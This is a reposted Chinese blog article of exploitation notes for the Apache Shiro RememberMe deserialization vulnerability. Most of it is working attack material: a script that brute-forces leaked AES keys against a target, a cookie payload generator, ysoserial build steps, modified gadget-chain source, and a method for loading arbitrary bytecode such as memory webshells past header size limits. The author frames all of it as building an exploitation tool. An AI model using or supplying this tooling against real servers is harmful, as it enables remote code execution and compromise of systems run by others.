Shiro反序列化漏洞利用筆記【分享】


偶然某群內發現的好東西,做個轉載分享

Shiro反序列化漏洞利用筆記

img

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。目前在Java web應用安全框架中,最熱門的產品有Spring Security和Shiro,二者在核心功能上幾乎差不多,但Shiro更加輕量級,使用簡單、上手更快、學習成本低,所以Shiro的使用量一直高於Spring Security。產品用戶量之高,一旦爆發漏洞波及范圍相當廣泛,研究相關漏洞是很有必要的。

一、Shiro反序列化漏洞

1.1 安全框架

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。目前在Java web應用安全框架中,最熱門的產品有Spring Security和Shiro,二者在核心功能上幾乎差不多,但Shiro更加輕量級,使用簡單、上手更快、學習成本低,所以Shiro的使用量一直高於Spring Security。產品用戶量之高,一旦爆發漏洞波及范圍相當廣泛,研究相關漏洞是很有必要的。

1.2 漏洞原理

Apache Shiro框架提供了記住我的功能(RememberMe),用戶登陸成功后會生成經過加密並編碼的cookie,在服務端接收cookie值后,Base64解碼–>AES解密–>反序列化。攻擊者只要找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化–>AES加密–>Base64編碼,然后將其作為cookie的rememberMe字段發送,Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。
Shiro 1.2.4版本默認固定密鑰:
1.jpg
Shiro框架默認指紋特征:在請求包的Cookie中為 rememberMe字段賦任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,說明目標有使用Shiro框架,可以進一步測試。
2.jpg

二、漏洞利用

2.1 AES密鑰

Shiro 1.2.4及之前的版本中,AES加密的密鑰默認硬編碼在代碼里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代碼中的默認密鑰,要求開發者自己設置,如果開發者沒有設置,則默認動態生成,降低了固定密鑰泄漏的風險。
3.jpg
有很多開源的項目內部集成了shiro並二次開發,可能會重現低版本shiro的默認固定密鑰風險。例如關於Shiro反序列化漏洞的延伸—升級shiro也能被shell文章中提到shiro升級后依舊存在反序列化漏洞的實例,Guns框架內部集成了shiro並進行二次開發,作者自定義密鑰並固定,此時用戶若不對密鑰進行再次修改,即使升級shiro版本,也依舊存在固定密鑰的風險。(相關issues地址)
4.jpg
開發者在使用shiro時通常會找一些教程來幫助快速搭建,針對教程中自定義的密鑰未修改就直接copy過來的情況也比較常見。
5.jpg
經過以上分析,升級shiro版本並不能根本解決反序列化漏洞,代碼復用會直接導致項目密鑰泄漏,從而造成反序列化漏洞。針對公開的密鑰集合,我們可以在github上搜索到並加以利用。(搜索關鍵詞:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)
6.jpg

2.2 目標AES密鑰判斷

收集到了密鑰集合,接下來要對目標進行密鑰判斷,我們如何獲知選擇的密鑰是否與目標匹配呢?文章一種另類的 shiro 檢測方式提供了思路,當密鑰不正確或類型轉換異常時,目標Response包含Set-Cookie:rememberMe=deleteMe字段,而當密鑰正確且沒有類型轉換異常時,返回包不存在Set-Cookie:rememberMe=deleteMe字段。接下來對這兩種情況簡單分析一下:

1)密鑰不正確

Key不正確,解密時org.apache.shiro.crypto.JcaCipherService#crypt拋出異常
7.jpg
進而走進org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段
8.jpg
於是獲得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。
9.jpg

2)類型轉換異常

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize進行數據反序列化,返回結果前有對反序列化結果對象做PrincipalCollection的強制類型轉換。
10.jpg
可以看到類型轉換報錯,因為我們的反序列化結果對象與PrincipalCollection並沒有繼承關系
11.jpg
反序列化方法捕獲到該異常,后面是熟悉的代碼
12.jpg
再次走到org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法,為返回包添加了rememberMe=deleteMe字段
13.jpg
獲得與第一種情況一樣的返回包。
14.jpg
根據上面的分析,我們需要構造payload排除類型轉換錯誤,進而准確判斷密鑰。當序列化對象繼承PrincipalCollection時,類型轉換正常,SimplePrincipalCollection是已存在的可利用類。
15.jpg
創建一個SimplePrincipalCollection對象並將其序列化。
16.jpg
將序列化數據基於key進行AES加密並base64編碼發起請求,當返回包不存在Set-Cookie:rememberMe=deleteMe字段時,說明密鑰與目標匹配。
17.jpg

2.3 密鑰判斷腳本

shiro在1.4.2版本之前, AES的模式為CBC, IV是隨機生成的,並且IV並沒有真正使用起來,所以整個AES加解密過程的key就很重要了,正是因為AES使用Key泄漏導致反序列化的cookie可控,從而引發反序列化漏洞。在1.4.2版本后,shiro已經更換加密模式 AES-CBC為 AES-GCM,腳本編寫時需要考慮加密模式變化的情況。
密鑰集合我這里簡單列舉了幾個,網上流傳大量現成的Shiro key top 100集合,請自行查找替換。密鑰判斷腳本如下:

import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] 		# 此處簡單列舉幾個密鑰
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正確KEY : " + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正確key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("正確KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正確key:" + key)
                    return key
            print("正確key:" + key)
            return key
        except Exception as e:
            print(e)

2.4 利用復現

服務端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段內容 —> Base64解密 —> 使用密鑰進行AES解密 —>反序列化,我們要構造POC就需要先序列化數據然后再AES加密最后base64編碼。

1) 構造序列化數據

下載ysoserial工具並打包:

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

生成的工具在target/目錄下ysoserial-0.0.6-SNAPSHOT-all.jar文件,借助ysoserial工具生成序列化數據:
18.jpg

2) 獲取AES加密的密鑰Key

利用上文中編寫的腳本來獲取真實密鑰。
19.jpg

3) 生成Payload

前兩步得到了序列化數據和正確密鑰,對序列化數據基於密鑰進行AES加密,base64編碼生成payload,代碼如下:

package com.veraxy;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class ShiroRememberMeGenPayload {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("xxx/xxx/test.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
        out.write(ciphertext.toString());
        out.close();
        System.out.printf("OK");

    }
}

將payload添加至Cookie中的rememberMe字段值發起請求,成功反序列化對象並執行命令。
20.jpg

三、進一步利用

3.1 Payload長度限制

簡單分析一條TemplatesImpl的反序列化利用鏈CommonsBeanutils1,利用ysoserial工具生成序列化對象時,鍵入了一條命令,在getObject方法中接收command參數
21.jpg
跟進createTemplatesImpl方法,找到了實際執行的代碼,插入了java.lang.Runtime.getRuntime().exec()來執行命令,那我們替換cmd參數值就可以執行任何代碼,比如內存馬
22.jpg
shiro反序列化漏洞常規利用點在數據包的header頭中,在這里直接插入目標代碼,生成的payload是很長的,肯定會超過中間件 header 長度限制,如何解決這個問題呢?
文章Java代碼執行漏洞中類動態加載的應用提供了思路,將要加載的字節碼放到post請求的data數據包中,header頭中的payload僅僅實現讀取和加載外部字節碼的功能,接下來動手操作:
1)打開ysoserial源碼,pom文件中添加依賴:
23.jpg
2)自定義ClassLoader,獲取上下文request中傳入的參數值,並實現動態加載外部字節碼。
24.jpg

重載createTemplatesImpl方法,參數設置為要讓服務端加載的類,_bytecodes參數攜帶要加載的目標類字節碼
25.jpg

修改該payload的getObject方法,讓createTemplatesImpl方法加載我們自定義的ClassLoader
26.jpg

重新打包ysoserial,生成序列化數據
27.jpg

拿出上文中寫好的生成payload的腳本,利用ysoserial生成的序列化數據和已知key生成payload,作為請求包Cookie中rememberMe的參數值。
28.jpg

接下來需要在請求包data參數中插入要加載的字節碼,這里選擇延時代碼進行測試:

public class SleepTest {
    static{
        try {
            long aaa = 20000;
            Thread.currentThread().sleep(aaa);
        } catch (Exception e) {
        }
    }
}

將目標類進行base64之后作為c的參數值發起請求,看到系統執行了延時代碼。
29.jpg

接下來就可以根據具體需求替換c的參數值了,比如內存馬等其他體積龐大的字節碼片段。

3.2 SUID不匹配

反序列時, 如果字節流中的serialVersionUID與目標服務器對應類中的serialVersionUID不同時就會出現異常。

SUID不同是jar包版本不同所造成,不同版本jar包可能存在不同的計算方式導致算出的SUID不同,這種情況下只需要基於目標一樣的jar包版本去生成payload即可解決異常,進而提升反序列化漏洞利用成功率。

由於不知道目標服務器的依賴版本, 所以只有使用該依賴payload對所有版本目標進行測試,確認payload版本覆蓋程度,排除SUID不匹配異常后,得到可利用payload集合。

四、工具編寫

師傅們一再強調Shiro本身不存在可利用鏈,反序列化漏洞可被利用的原因是部署Shiro的網站引入了可利用的依賴包,所以思維不能局限於Shiro本身,它只是個切入點,而可利用鏈還要進一步確認。

4.1 大概思路

完全不出網的場景,一些需要出網的gadget就暫時不考慮了,常見的TemplatesImpl的反序列化利用鏈有CommonsBeanutils1、CommonsCollections4、CommonsCollections10、Hibernate1、Jdk7u21。

1)確認SUID不匹配的版本

比如Hibernate1中SUID不匹配的問題就比較常見

payload版本 適用目標版本
hibernate-core 4.2.21.Final 4.2.11.Final - 4.2.21.Final
hibernate-core 4.3.11.Final 4.3.5.Final - 4.3.11.Final
hibernate-core 5.0.0.Final 5.0.0.Final
hibernate-core 5.0.1.Final 5.0.1.Final - 5.0.3.Final
hibernate-core 5.0.7.Final 5.0.7.Final - 5.0.12.Final
hibernate-core 5.1.0.Final 5.1.0.Final - 5.1.17.Final
hibernate-core 5.2.0.Final 5.2.0.Final - 5.2.8.Final
hibernate-core 5.2.9.Final 5.2.9.Final - 5.2.18.Final、5.3.0.Final - 5.3.18.Final、5.4.0.Final - 5.4.3.Final
hibernate-core 5.4.4.Final 5.4.4.Final - 5.4.21.Final

需要基於這些版本分別生成序列化數據做積累,遍歷這些序列化數據生成payload進行探測。

2)探測並生成可用payload

把上文寫的爆破密鑰的腳本集成進來,利用延時代碼探測目標的版本。

界面輸出適配目標的payload,根據提示把可用payload粘貼到Cookie字段。

隨后的利用參考上文中利用復現的流程,請求包data數據中添加c參數,參數值自選,比如我這里仍舊插入延時探測的字節碼。

4.2 嘗試優化

上文提到利用鏈多個版本的序列化數據需要手動生成,耗時耗力,萌生了優化生成多版本序列化數據的過程並集成至工具中的想法。
我們想要實現ysoserial工具每個利用鏈批量化的基於多個版本的依賴生成payload,降低人力消耗。例如ysoserial中的工具鏈CommonsBeanutils1分別基於1.9.2版本和1.8.3版本生成payload,ysoserial-0.0.6-SNAPSHOT-all.jar開放版本參數來生成指定版本的payload:

Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 cb-1.9.2 “Calc”
Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 cb-1.8.3 “Calc”

maven打包工具jar時,pom文件同時加載多個版本依賴會產生版本沖突,如何實現設想呢?可以嘗試自定義類加載器(ClassLoader)動態加載外部依賴,從而擺脫maven打包時依賴版本沖突的限制。
Java提供給我們一個自定義ClassLoader的工具類,專門用於加載本地或網絡的 class 或jar文件,例如想要加載本地磁盤上的類:

public static void main(String[] args) throws Exception{
File file = new File(“d:/”);
URI uri = file.toURI();
URL url = uri.toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class aClass = classLoader.loadClass(“com.veraxy.Demo”);
Object obj = aClass.newInstance();
}

接下來動手修改ysoserial,打開ysoserial源碼。

1) 編寫自定義UrlClassLoaderUtils工具類,加載指定位置外部依賴。

package ysoserial;

import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;

public class UrlClassLoaderUtils {
public URLClassLoader urlClassLoader;
public URLClassLoader loadJar(String gadgetName) throws Exception {
File[] jarspath = getJarsPath(gadgetName);
try{
for(File jar : jarspath){
URL url = jar.toURI().toURL();
urlClassLoader = new URLClassLoader(new URL[]{url});
}
}catch(Exception e){
System.out.println(“加載jar出錯!”+e);
}
return urlClassLoader;
}

public File[] getJarsPath(String gadgetName){
    String basePath = System.getProperty("user.dir")+ File.separator+"lib"+File.separator;
    String directoryPath = basePath + gadgetName;
    File directory = new File(directoryPath);
    File[] jars = directory.listFiles();
    return jars;
}

public static void main(String[] args) throws Exception {
    String gadgetName = "hibernate5";
    UrlClassLoaderUtils u = new UrlClassLoaderUtils();
    Class a = u.loadJar(gadgetName).loadClass("org.hibernate.tuple.component.AbstractComponentTuplizer");
}

}

2)修改工具鏈,使用自定義的UrlClassLoaderUtils工具類加載外部依賴的方式實現,這里以工具鏈CommonsCollections10為例。

package ysoserial.payloads;

import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import ysoserial.UrlClassLoaderUtils;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections10_ClassLoader_plus extends PayloadRunner implements ObjectPayload {
private Class InvokerTransformer = null;
private Class LazyMap = null;
private Class TiedMapEntry = null;
private Class Transformer = null;

public CommonsCollections10_ClassLoader_plus(URLClassLoader urlClassLoader) throws Exception{
    this.Transformer = urlClassLoader.loadClass("org.apache.commons.collections.Transformer");
    this.InvokerTransformer = urlClassLoader.loadClass("org.apache.commons.collections.functors.InvokerTransformer");
    this.LazyMap = urlClassLoader.loadClass("org.apache.commons.collections.map.LazyMap");
    this.TiedMapEntry = urlClassLoader.loadClass("org.apache.commons.collections.keyvalue.TiedMapEntry");
}


public HashSet getObject(String command) throws Exception
{
    Object templates = Gadgets.createTemplatesImpl(command);
    Constructor constructorinvokertransformer = this.InvokerTransformer.getDeclaredConstructor(String.class,Class[].class,Object[].class);
    constructorinvokertransformer.setAccessible(true);
    Object transformer = constructorinvokertransformer.newInstance("toString",new Class[0], new Object[0]);

    Map innerMap = new HashMap();

    Constructor constructorlazymap = this.LazyMap.getDeclaredConstructor(Map.class,this.Transformer);
    HashMap innermap = new HashMap();
    constructorlazymap.setAccessible(true);
    Object lazyMap =  constructorlazymap.newInstance(innermap,transformer);

    Constructor constructortidemapentry = this.TiedMapEntry.getConstructor(Map.class,Object.class);
    constructortidemapentry.setAccessible(true);
    Object entry = constructortidemapentry.newInstance(lazyMap,templates);

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try
    {
        f = HashSet.class.getDeclaredField("map");
    }
    catch (NoSuchFieldException e)
    {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    Reflections.setAccessible(f);
    HashMap innimpl = null;
    innimpl = (HashMap)f.get(map);

    Field f2 = null;
    try
    {
        f2 = HashMap.class.getDeclaredField("table");
    }
    catch (NoSuchFieldException e)
    {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    Reflections.setAccessible(f2);
    Object[] array = new Object[0];
    array = (Object[])f2.get(innimpl);
    Object node = array[0];
    if (node == null) {
        node = array[1];
    }
    Field keyField = null;
    try
    {
        keyField = node.getClass().getDeclaredField("key");
    }
    catch (Exception e)
    {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    Reflections.setAccessible(keyField);
    keyField.set(node, entry);
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    return map;
}

public static void main(String[] args) throws Exception
{
    PayloadRunner.run(CommonsCollections10_ClassLoader_plus.class, args);
}

}

3)下載多版本依賴到本地
我編寫的UrlClassLoaderUtils工具類中,是指定遍歷加載項目根目錄下lib中的依賴,接下來需要手動下載工具鏈相關依賴到本地lib目錄下,並按版本分別歸類文件夾。

4)修改ysoserial啟動類GeneratePayload,實例化UrlClassLoaderUtils工具類,開放指定要加載的依賴版本的參數。

package ysoserial;

import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.net.URLClassLoader;
import java.util.*;

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.UrlClassLoaderUtils;

@SuppressWarnings(“rawtypes”)
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
    if (args.length != 3) {
        printUsage();
        System.exit(USAGE_CODE);
    }
    final String payloadType = args[0];
    final String command = args[1];
    final String version = args[2];

    final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
    System.out.println(payloadClass);
    if (payloadClass == null) {
        System.err.println("Invalid payload type '" + payloadType + "'");
        printUsage();
        System.exit(USAGE_CODE);
        return; // make null analysis happy
    }

    try {
        UrlClassLoaderUtils classLoaderUtils = new UrlClassLoaderUtils();
        Constructor<? extends ObjectPayload<?>> classConstructor = (Constructor<? extends ObjectPayload<?>>) payloadClass.getDeclaredConstructor(URLClassLoader.class);
        ObjectPayload<?> payload = classConstructor.newInstance(classLoaderUtils.loadJar(version));
        final Object object = payload.getObject(command);
        PrintStream out = System.out;
        Serializer.serialize(object, out);
        ObjectPayload.Utils.releasePayload(payload, object);
    } catch (Throwable e) {
        System.err.println("Error while generating or serializing payload");
        e.printStackTrace();
        System.exit(INTERNAL_ERROR_CODE);
    }
    System.exit(0);
}

private static void printUsage() {
    System.err.println("Y SO SERIAL?");
    System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
    System.err.println("  Available payload types:");

    final List<Class<? extends ObjectPayload>> payloadClasses =
        new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
    Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

    final List<String[]> rows = new LinkedList<String[]>();
    rows.add(new String[] {"Payload", "Authors", "Dependencies"});
    rows.add(new String[] {"-------", "-------", "------------"});
    for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
         rows.add(new String[] {
            payloadClass.getSimpleName(),
            Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
            Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
        });
    }

    final List<String> lines = Strings.formatTable(rows);

    for (String line : lines) {
        System.err.println("     " + line);
    }
}

}

  1. 打包ysoserial為工具jar,與lib目錄同級,這里指定加載commons-collections-3.2.jar依賴並生成payload。

6)ysoserial修改好了,接下來將其集成至Python工具中,將lib依賴包和ysoserial-0.0.6-SNAPSHOT-all.jar搬進去,代碼中添加執行ysoserial-0.0.6-SNAPSHOT-all.jar批量生成基於多個版本依賴的序列化數據腳本,此時執行腳本即可自動生成多個版本的序列化數據,節省部分人力。

若不需要集成ysoserial-0.0.6-SNAPSHOT-all.jar至工具中,僅僅為了生成序列化數據,可以借鑒Generate all unserialize payload via serialVersionUID文章中的Generate payload腳本,通過修改classpath來實現加載不同版本的jar包,效果還不錯。

五、總結

本文對Shiro反序列化漏洞進行簡單分析,主要集中在漏洞利用部分,以編寫利用工具為主線,提出問題尋找解決方案,以及遇到的一些限制和提升


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM